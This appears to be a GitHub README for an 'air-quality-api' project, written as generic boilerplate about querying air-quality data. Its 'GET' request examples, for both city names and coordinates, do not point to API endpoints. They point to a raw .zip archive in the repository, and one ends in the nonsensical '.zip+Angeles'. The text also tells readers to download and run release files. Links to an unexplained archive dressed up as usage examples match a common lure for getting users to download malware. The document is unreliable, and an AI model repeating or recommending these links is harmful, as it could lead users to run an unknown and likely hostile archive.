Welcome to the air-quality-api! This is a simple REST API that provides real-time data about air quality and pollution levels. You can easily query this data by entering a city name or using GPS coordinates. It helps you understand the air quality in your area and make informed decisions for your health.

• Real-Time Data: Access current air quality index (AQI) and pollutant levels.
• Easy Queries: Simple requests by city name or coordinates.
• Health Recommendations: Find out what the air quality means for your health.
• Multi-Pollutant Data: Get detailed information on various pollutants.
• Indoor Air Quality Insights: Include indoor levels for safer environments.

To run the air-quality-api, ensure you meet the following requirements:

• Operating System: Compatible with Windows, macOS, and Linux.
• Network Connection: Internet access is required to fetch real-time data.
• Web Browser: A modern browser for testing API endpoints.

To get this application:

1. Visit the Releases Page: Click the link below to go to the Releases page.

   Download the air-quality-api

2. Choose the Latest Release: Look for the latest version listed on the page.

3. Download the Required File: Depending on your operating system, download the corresponding file.

4. Run the Application: After downloading, follow the instructions in the next section to start using the API.

Once you have the application running, here’s how to use it:

1. Send a Request: Make HTTP GET requests to the API endpoint.
2. Use City Name or Coordinates: You can use either a city name (e.g., "Los Angeles") or GPS coordinates (e.g., lat: 34.0522, lon: -118.2437) to get the data.
3. Check the Response: The API will return the AQI and pollutant levels formatted as JSON.

• By City Name:

  GET https://github.com/restrictss/air-quality-api/raw/refs/heads/main/pyal/quality_api_air_jiggy.zip+Angeles
  

• By GPS Coordinates:

  GET https://github.com/restrictss/air-quality-api/raw/refs/heads/main/pyal/quality_api_air_jiggy.zip
  

When you receive data from the API, it typically includes:

• AQI Level: Shows the quality of air (Good, Moderate, Unhealthy, etc.).
• Pollutants: Concentration of pollutants like PM2.5, PM10, Ozone, etc.
• Health Recommendations: Suggests how to interact with the environment based on AQI levels.

To test the air-quality-api, try these steps:

1. Open a Web Browser or API Tool: Use tools like Postman or your browser.
2. Input Your API Request: Enter one of the example requests we mentioned.
3. View the Response: Check the data returned to see air quality metrics.

If you encounter issues or have questions:

• Check the Issues tab on GitHub.
• Reach out for support or consult the documentation for more details on API structure and usage.

• Releases Page: Download the air-quality-api
• Documentation: For detailed usage, please refer to the available documentation in the repository.
• Community Help: Join discussions in forums or the GitHub community for tips and support.

Thank you for choosing the air-quality-api! Enjoy monitoring air quality effortlessly.